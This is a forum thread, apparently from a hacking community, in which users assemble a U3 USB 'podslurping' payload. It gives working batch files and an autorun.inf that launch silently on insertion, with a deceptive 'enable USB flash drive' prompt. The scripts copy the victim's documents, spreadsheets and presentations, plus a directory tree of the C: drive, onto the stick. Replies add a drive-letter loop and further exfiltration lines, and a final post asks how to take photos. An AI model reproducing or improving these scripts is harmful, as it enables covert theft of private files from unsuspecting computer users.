Jump to content

Help Needed: Drive Letter Variable With Switchblade & Batch File


SupaRice

Recommended Posts

Using the Universal U3 LaunchPad Hacker I've generated my own payload and got it loaded to my Memorex U3 USB drive.  Everything works except one minor detail. . . .

I've taken the batch files from this site:

www. usbhacks. com/2006/10/29/how-to-simple-podslurping-example-with-a-usb-flash-drive/

And modified it to "slurp" a specific file.  The issue I'm having is, as you can see in the code below, I'm using a variable to get the drive letter.  I think I need some sort of variable, because not all systems will give the USB drive the same drive letter.  However the issue is this, the batch file is run from the U3 CD ROM drive which is not the drive letter of the USB drive.  I need a way to find the drive letter, I guess via a variable, of the USB drive so that my batch file will work and copy the files to the USB drive.

Thanks in advance for any help.

start. bat

@echo off 

@start /min slurp.bat /B 

@exit

slurp. bat

@echo off
mkdir %~d0%computername%
tree c: /F > %~d0%computername%tree.txt
xcopy "C:*.doc" %~d0%computername% /s /c /q /r /h
@cls
@exit

autorun. inf

[autorun]
icon=lilguy.ico
open=start.bat
action=Click “OK” to enable USB flash drive
shellopencommand=start.bat

Link to comment
Share on other sites

Might be tough or not possible through shell code. You best chance I guess would be to create a For loop iterating through each letter of the alphabet and issuing the command:

"vol DRIVE_LETTER:"

and check to see if the drive volume exists and what its name is.

This would be quite annoying, and Im not writing the code lol

Why is ur payload on the CD partition anyway?

Link to comment
Share on other sites

His payload is on the CD partition so it will autorun.

I was wondering if there is a way to get the name of the drive from the command prompt (ie "Local Disk" for C:). If you could do that, just call your drive "drive" or something. Sorry for the n00bness on my end. I am not really good at much computer-wise.

Link to comment
Share on other sites

I think you need:

for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:start.bat set DRIVE = %%i

start.bat is changeable (maybe to autorun.inf, but this would find maybe a other cd with autorun.inf, so it'd be the wrong driveletter....

Link to comment
Share on other sites

I think you need:

for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:start.bat set DRIVE = %%i

start.bat is changeable (maybe to autorun.inf, but this would find maybe a other cd with autorun.inf, so it'd be the wrong driveletter....

Yep, I just did a little checking. Nakaori wrote this excellent little code.

Create a file in your usb drive Ex.("usb:FILENAME.txt")

Then you the above code to look for that file and get the drive letter.

for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:FILENAME.txt set DRIVE = %%i

I haven't tested it though, but should work.

Link to comment
Share on other sites

Thanks for the help!

That had the desired effect, even if it is accomplished in a different manner.  I wanted to be able to put all of my .bat files on the U3 CD and then write output, copy, or whatever to the USB drive.  However, this still works:

start.bat on the U3 CD:

@echo off 

@start /min for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do %%i:slurp.bat

@exit

slurp.bat on the USB:

@echo off
mkdir %~d0%computername%
tree c: /F > %~d0%computername%tree.txt
@cls
@exit

It executes the slurp.bat, and everything is still minimized and closes when done.  Now I'm going to try to make it do more ! :twisted:

Link to comment
Share on other sites

--snipped--

Now I'm going to try to make it do more ! :twisted:

Well, mine looks like this:

@echo off
mkdir %~d0%computername% 
xcopy "C:Documents and Settings%username%My Documents*.doc" %~d0%computername% /s/c/q/r/h
xcopy "C:Documents and Settings%username%My Documents*.xls" %~d0%computername% /s/c/q/r/h
xcopy "C:Documents and Settings%username%My Documents*.ppt" %~d0%computername% /s/c/q/r/h
dir "C:Documents and Settings%username%My Documents*.*" > %~d0%computername%files.txt 
msgbox /BO /H /II /MS /T5 "Data Copied" Files have been copied successfully.
@cls 
@exit

You can either take out the msgbox line or get msgbox from here (WARNING: DIRECT LINK TO EXE). Ahriman originally found this and set it up like this. It does this:

This will, when it has finished copying, display for 5 seconds a small dialog box, that says the data is copied OK. You can change the parameters in it (just type at a command prompt: msgbox /? )

This xcopy lines will get Word, Excel, and PowerPoint files and copy them to a folder on the root of the drive named after the computer you run this on. The dir line will make a text file in the computer name folder called files.txt that contains a list of all the files in the My Documents folder.

Hope this helped! Also, since I am pretty much a script kiddy, someone will definitely come up with something really cool.

Link to comment
Share on other sites

  • 4 weeks later...

Hi

Is it possible to run all files from u3 cd partition?Autorun.inf,start.bat(if need) ,slurp.bat?

I need to copy all photos from my documents folder in the flash normal usb partition.

If yes please post the correct settings for each file.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...